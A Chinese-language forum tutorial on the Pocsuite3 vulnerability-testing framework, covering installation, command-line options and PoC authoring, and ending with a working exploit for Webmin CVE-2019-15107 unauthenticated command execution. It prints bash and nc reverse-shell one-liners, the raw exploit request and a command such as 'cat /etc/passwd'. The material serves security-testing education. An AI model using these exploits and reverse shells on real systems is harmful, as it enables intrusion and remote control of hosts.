找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3567

积分

0

好友

476

主题
发表于 昨天 22:48 | 查看: 5| 回复: 0

Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。它在编写时参考了市面上许多成熟的开源框架,例如在代码工程结构上参考了Sqlmap,而Pocsuite-console交互模式则借鉴了routersploit与metasploit的设计。自2015年开源以来,Pocsuite3持续更新迭代,为安全研究人员提供了一个强大的渗透测试工具。

官网: https://pocsuite.org/guide/what-is-pocsuite3.html

功能特性介绍

漏洞测试框架

Pocsuite3 采用 Python3 编写,支持 验证利用shell 三种核心模式。你可以针对单个目标或批量导入的目标,使用一个或多个 PoC 脚本进行漏洞的检测或利用。它既可以通过命令行直接调用,也支持类似 Metasploit 的交互式控制台。此外,还内置了报告输出等实用功能。

PoC/Exp 开发包

Pocsuite3 本身也是一个 PoC/Exp 的 SDK(开发工具包)。它封装了基础的 PoC 基类及大量常用方法(如 Webshell 操作)。基于此框架进行开发,你只需专注于编写最核心的漏洞验证逻辑,而无需关心结果输出、线程调度等繁琐细节。所有基于 Pocsuite3 编写的 PoC/Exp 都可以直接被框架调用,在 Seebug 漏洞平台上已有数千个此类脚本。

可被集成模块

除了作为独立的工具使用,Pocsuite3 还能作为一个 Python 包,被集成到其他安全产品或自动化系统中。它提供了清晰的 API 接口,方便开发者进行二次开发,构建自定义的漏洞扫描或验证平台。

集成多个安全服务的API

Pocsuite3 集成了 ZoomEye、Seebug、Ceye、Shodan 等主流安全服务的 API。利用此功能,你可以通过 ZoomEye API 的 Dork 语法批量获取潜在目标,同时从 Seebug API 拉取对应漏洞的 PoC,实现从目标发现到漏洞验证的自动化流程。Ceye 等 DNSLog 平台则可用于辅助验证无回显的漏洞(如盲注、盲打)。

主要特性概览

  • 支持 verify(验证)、attack(攻击)、shell(交互)三种模式,不仅用于扫描,也可用于漏洞利用。
  • 支持从本地文件、数据库、Redis、Seebug 等多种来源动态加载 PoC 脚本。
  • 支持从本地文件、CIDR、数据库、ZoomEye 等多种来源加载目标。
  • 灵活的插件系统,支持自定义 TARGETS、POCS、RESULTS 类型插件。
  • 动态 Hook urllib3requests 库,方便 PoC 编写和全局流量控制。
  • 完美支持 IPv4/IPv6。
  • 支持全局 HTTP/HTTPS/SOCKS 代理。
  • 2.0.0 版本开始,支持 YAML 格式的 PoC,兼容 nuclei 的模板规范
  • 集成 ZoomEye、Shodan、Fofa 等网络空间搜索引擎的 API。
  • 集成 Ceye、Interactsh 等 DNSLog 平台。

相比于 Metasploit,Pocsuite3 更轻量,目前不具备后渗透能力。相比于其他 YAML 格式的 PoC 框架,Pocsuite3 基于 Python,允许直接使用丰富的第三方库,对开发者更为友好灵活。

安装方法

Pocsuite3 基于 Python3 开发,支持 Python 3.7+ 以及 Linux、Windows、macOS、BSD 等主流平台。

使用 pip 安装

通过 pip 安装时,务必注意包名是 pocsuite3 而不是 pocsuite

pip3 install pocsuite3
# 使用国内镜像加速安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3

通过源码安装

访问 GitHub 仓库下载源码并解压:

https://github.com/knownsec/pocsuite3

Pocsuite3项目文件结构

解压后,cli.pyconsole.py 是两个主要的入口文件,分别对应命令行模式和交互式控制台模式。

架构简析

整体而言,Pocsuite3 框架主要包含四个核心部分:目标收集、PoC 脚本加载、多线程检测、结果汇总。

Pocsuite3架构简析思维导图

这张架构图列出了工具许多重要且常用的参数,建议仔细查看。

运行方式

Pocsuite3 支持三种运行方式:命令行、交互式控制台、以及集成调用。

命令行运行

通过 pip 安装后,直接在终端使用 pocsuite 命令,例如:pocsuite -r poc.py -u xxx.com。也可以将参数定义在 pocsuite.ini 配置文件中,通过 pocsuite -c pocsuite.ini 运行。

通过源码安装后,在解压目录的 /pocsuite3 路径下运行 python cli.py -r poc.py 其他参数。本质上是将 pocsuite 命令替换为 python cli.py

目标加载

  • -u--url:指定单个 URL 或 CIDR(支持 IPv4/IPv6)。
  • -f--file:从文件加载多个目标(每行一个,# 开头为注释)。
  • -p--ports:为目标添加额外端口,格式:[协议:]端口,多个用逗号分隔。例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443
  • --dork-fofa / --fofa-user / --fofa-token:通过 Fofa API 批量获取目标。
  • --dork-hunter / --hunter-token:通过 Hunter API 批量获取目标。

PoC 脚本加载

  • -r--poc:指定 PoC 脚本文件或目录。
  • -k:通过关键词(支持正则)筛选 PoC,如组件名、CVE 编号。若只使用 -k,默认从 pocsuite3/pocs 目录加载 PoC。

运行模式控制

  • --verify验证模式,执行 PoC 的 _verify() 方法,检查漏洞是否存在(默认模式)。
  • --attack攻击模式,执行 PoC 的 _attack() 方法,进行更深入的利用。
  • --shell交互式 shell 模式,执行 PoC 的 _shell() 方法,获取目标交互式 shell。默认监听本机 6666 端口(可通过 --lhost--lport 修改)。如需 TLS 加密连接,可添加 --tls 参数。
  • --threads:设置并发线程数,默认为 Min(150, 目标总数)

网络控制

  • --proxy:设置全局代理,支持 http, https, socks4, socks5, socks5h。例如:--proxy socks5://127.0.0.1:9150。如需认证,配合 --proxy-cred 使用。
  • 其他常用选项:--cookie, --host, --referer, --retry, --delay, --headers

结果输出

  • -v / --ppt:控制台日志级别与 IP 脱敏。-v 调整日志详细程度,--ppt 可对 IP 打码,方便录屏演示。
  • -o / --output:将结果保存为 JSON Lines 格式文件。
    
    pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
    ...
    [17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
    [17:47:51] [INFO] pocsusite got a total of 1 tasks
    [17:47:51] [DEBUG] pocsuite will open 1 threads
    [17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
    [17:47:54] [INFO] Scan completed,ready to print

+------------+--------------------------------------+--------+-----------+---------+--------+
| target-url |               poc-name               | poc-id | component | version | status |
+------------+--------------------------------------+--------+-----------+---------+--------+
| ..0.1    | Ecshop 2.x/3.x Remote Code Execution | 97343  |   ECSHOP  | 2.x,3.x | failed |
+------------+--------------------------------------+--------+-----------+---------+--------+
success : 0 / 1
...


#### 自定义参数与配置
*   `--args`:为 PoC 脚本传递自定义参数。
*   `--options`:查看指定 PoC 支持的自定义参数。
```bash
pocsuite -k ecshop --options
...
Module (pocs_ecshop_rce) options:
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
|    Name     |             Current settings             |  Type  |                               Description                                |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
|   command   |                  whoami                  | String |                              攻击时自定义命令                            |
| app_version |                   Auto                   | Select |                           目标版本,可自动匹配                          |
|   payload   | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |  Dict  | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
|             |                                          |        |              bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'               |
|             |                                          |        |          You can select dict_keys(['nc', 'bash']) ,default:bash          |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
  • -n / --new:交互式生成 PoC 模板。
  • -c:通过配置文件 pocsuite.ini 提供所有运行参数。

Pocsuite3配置文件位置

控制台交互模式运行

通过 pip 安装:运行 poc-console 进入交互控制台。可使用 help 查看帮助,show all 列出所有 PoC 模块,use 加载指定模块,set / setg 设置参数(操作逻辑与 MSF 高度相似)。

通过源码安装:在源码目录运行 python console.py 即可进入。

集成调用

Pocsuite3 提供了完整的 API,可以像普通 Python 模块一样被导入和调用,方便集成到其他系统中。具体用法可参考源码中的测试用例 tests/test_import_pocsuite_execute.py

PoC 脚本编写规范与步骤

在 Pocsuite3 中,PoC 脚本对应三种运行模式:

  1. verify 模式:验证漏洞存在。应尽可能无害,且通常不需要用户额外输入。
  2. attack 模式:执行攻击利用,如获取数据、执行命令等。
  3. shell 模式:获取目标的交互式 shell。

这三种模式在 PoC 类中分别由 _verify()_attack()_shell() 三个方法实现。

自定义编写 PoC 脚本步骤

  1. 新建 .py 文件:建议遵循命名格式 _编号_应用名_版本_漏洞类型.py,例如 _s01_webmin_1.920_codexec.py。文件名应全小写并用下划线连接。
  2. 导入基类并创建 PoC 类:从 pocsuite3.api 导入必要模块,创建继承自 POCBase 的类。
    
    from pocsuite3.api import (
    minimum_version_required, POCBase, register_poc, requests, logger,
    OptString, OrderedDict,
    random_str,
    get_listener_ip, get_listener_port, REVERSE_PAYLOAD
    )

class DemoPOC(POCBase):

后续代码

3.  **填写 PoC 信息字段**:这些字段用于描述漏洞和 PoC 本身,便于管理和检索。
```python
class DemoPOC(POCBase):
    vulID = '99335'  # Seebug 漏洞 ID,没有则为0
    version = '1'  # PoC版本
    author = 'seebug'  # 作者
    vulDate = '2021-8-18'  # 漏洞公开日期
    createDate = '2021-8-20'  # PoC编写日期
    updateDate = '2021-8-20'  # PoC更新日期
    references = ['https://www.seebug.org/vuldb/ssvid-99335']  # 参考链接
    name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)'  # PoC名称
    appPowerLink = 'https://www.fortinet.com'  # 厂商主页
    appName = 'FortiWeb'  # 应用名称
    appVersion = '<=6.4.0'  # 影响版本
    vulType = 'Code Execution'  # 漏洞类型
    desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入'  # 漏洞描述
    samples = ['http://192.168.1.1']  # 测试成功样例
    install_requires = ['BeautifulSoup4:bs4']  # 第三方依赖
    pocDesc = ''' poc的用法描述 '''
  1. 编写漏洞利用核心方法 _exploit:该方法负责构造并发送 网络请求,是实现漏洞验证或攻击的核心。_verify_attack_shell 方法默认都会调用它。
    def _exploit(self, cmd='whoami'):
    result = ''
    payload = f'xxxxxxyyyyyyy{cmd}nnnnnnn'  # 构造Payload
    # self.url 是 POCBase 提供的目标属性
    res = requests.post(self.url, data=payload)
    logger.debug(res.text)
    result = res.text
    return result
  2. 编写验证模式方法 _verify:实现漏洞验证逻辑,成功时应返回包含结果的字典,并通过 self.parse_output() 格式化输出。
    def _verify(self, verify=True):
    result = {}
    res = self._exploit()
    # 根据返回包内容判断漏洞是否存在
    if 漏洞验证条件:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
    return self.parse_output(result)
  3. 编写攻击模式方法 _attack:实现攻击利用逻辑,结构与 _verify 类似。如果无需攻击模式,可直接返回 self._verify()
    def _attack(self):
    result = {}
    # 攻击代码,例如执行自定义命令
    res = self._exploit(cmd='ppppp')
    if 攻击成功条件:
        result['ShellInfo'] = {}
        result['ShellInfo']['URL'] = self.url
    return self.parse_output(result)
    # 若无特殊攻击逻辑,可简化为:
    def _attack(self):
    return self._verify()
  4. 编写 shell 模式方法 _shell:实现获取交互式 shell 的逻辑。框架默认监听 6666 端口。如果无需此模式,可直接返回 self._verify()
    def _shell(self):
    cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
    # 执行反弹shell的命令
    self._exploit(cmd)
  5. 注册 PoC:在类定义外部,使用 register_poc() 注册你的 PoC 类。
    register_poc(DemoPOC)

快速生成 PoC 模板

Pocsuite3 提供了快速生成模板的功能,运行 pocsuite -npython cli.py -n 即可进入交互式生成向导。

PoC模板生成交互界面

最简化 PoC 示例

POCBase 基类为所有属性设置了默认值,因此可以编写极其简化的 PoC。

from pocsuite3.api import *

class TestPOC(POCBase):
    # 为了区分,建议至少提供 name 属性
    # name = ''
    def _verify(self):
        result = {}
        # 自定义验证逻辑
        # 如果漏洞存在
        # result['VerifyInfo'] = {'URL': self.url}
        return self.parse_output(result)

register_poc(TestPOC)

为 PoC 添加自定义参数

如果 PoC 需要接收用户输入(如登录凭据、要执行的命令),可以在 PoC 类中定义 _options() 方法。

from pocsuite3.api import OptString, OrderedDict

def _options(self):
    o = OrderedDict()
    # 定义一个名为 cmd 的字符串参数,默认值为 'uname -a'
    o['cmd'] = OptString('uname -a', description='需要执行的命令', require=True)
    return o

def _attack(self):
    result = {}
    # 通过 self.get_option('key') 获取用户输入的值
    command = self.get_option('cmd')
    res = self._exploit(cmd=command)
    # ... 处理结果
    return self.parse_output(result)

在命令行中使用时,通过 --cmd "cat /etc/passwd" 来传递参数。在控制台模式下,则使用 set cmd "cat /etc/passwd" 进行设置。

PoC 开发注意事项

PoC编写注意事项官方文档

主要注意事项包括:

  1. 尽量避免使用第三方模块,如必须使用,请在 install_requires 字段中正确声明。
  2. 优先使用 Pocsuite3 已封装的 API,避免重复造轮子。
  3. PoC 应尽可能无需输入参数,或为参数提供合理的默认值,以支持批量扫描。
  4. 结果输出时应包含必要的取证信息。
  5. 漏洞判断应使用随机字符串而非固定特征,以避免误报和被 WAF 识别。

更多详细规范请参阅官方文档。

实战案例:Webmin 未授权命令执行 (CVE-2019-15107) PoC 编写

本节通过一个真实漏洞,演示完整的 PoC 开发过程。

环境搭建与漏洞复现

使用 Vulhub 快速搭建靶场。在漏洞目录下执行:

sudo service docker start
sudo docker-compose build
sudo docker-compose up -d

靶场启动后,访问 https://your-ip:10000 可见 Webmin 登录界面。

Webmin登录界面

通过抓包分析,向 /password_change.cgi 路径发送特定 POST 请求可实现未授权命令执行,其中 old 参数值即为执行的命令。

POST /password_change.cgi HTTP/1.1
Host: 192.168.34.132:10000
...
Content-Type: application/x-www-form-urlencoded

user=rootxx&pam=&expired=2&old=whoami&new1=1111&new2=1111

完整 PoC 脚本

from pocsuite3.api import (
    minimum_version_required, POCBase, register_poc, requests, logger,
    OptString, OrderedDict,
    random_str,
    get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
import re

class DemoPOC(POCBase):
    vulID = 's01'
    version = '1'
    author = 'skyx'
    name = 'webmin命令执行'
    appName = 'Webmin'
    appVersion = '<=1.920'
    vulType = 'Code Execution'
    desc = 'webmin<=1.920版本存在命令执行'
    pocDesc = ''' 先使用verify模式直接运行验证漏洞是否存在,再attack模式使用--cmd 参数可以达到任意命令执行的效果  '''

    def _exploit(self, param=''):
        # 使用 _check 方法进行预检查,避免攻击蜜罐。仅对包含特定标题的站点进行测试。
        if not self._check(dork='<title>Login to Webmin</title>'):
            return False

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url}/session_login.cgi'
        }
        payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
        res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
        logger.debug(res.text)
        return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]

    def _verify(self):
        result = {}
        flag = random_str(6)  # 生成随机字符串作为验证标志,防止误报
        param = f'echo {flag}'
        res = self._exploit(param)
        if res and flag in res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Postdata'] = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
        return self.parse_output(result)

    def _options(self):
        o = OrderedDict()
        o['cmd'] = OptString('uname -a', description='需要执行的命令', require=True)
        return o

    def _attack(self):
        result={}
        value=self._exploit(self.get_option('cmd'))
        if value:
            result['ShellInfo']={}
            result['ShellInfo']['URL']=self.url
            result['ShellInfo']['Content']=value  #输出命令执行结果
        return self.parse_output(result)

register_poc(DemoPOC)

self._check() 方法说明:该方法用于执行端口检查、协议自动纠正、首页关键词匹配及简单的蜜罐检查,能有效减少误报和向蜜罐发送攻击载荷的风险。

运行效果

验证模式 (--verify):执行默认的漏洞验证。

验证模式扫描结果

攻击模式 (--attack):通过 --cmd 参数执行自定义命令。

攻击模式执行自定义命令结果

通过这个案例,你可以清晰地看到如何将漏洞分析转化为一个结构清晰、功能完整的 Pocsuite3 PoC 脚本,并利用框架的强大功能进行验证和利用。

掌握 Pocsuite3 的使用和 PoC 编写,能极大提升安全研究和技术测试的效率。无论是批量资产巡检还是单一漏洞的深入利用,它都是一个值得深入学习的工具。在云栈社区的技术交流版块,你还可以找到更多关于安全工具使用和开发的深度讨论。




上一篇:AMD Zen7架构前瞻:Grimlock旗舰或拥448MB缓存,移动版剑指36核心
下一篇:一键脚本安装 iOS 26 虚拟iPhone,为开发与安全研究提供免越狱沙盒
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-5 04:12 , Processed in 0.404936 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表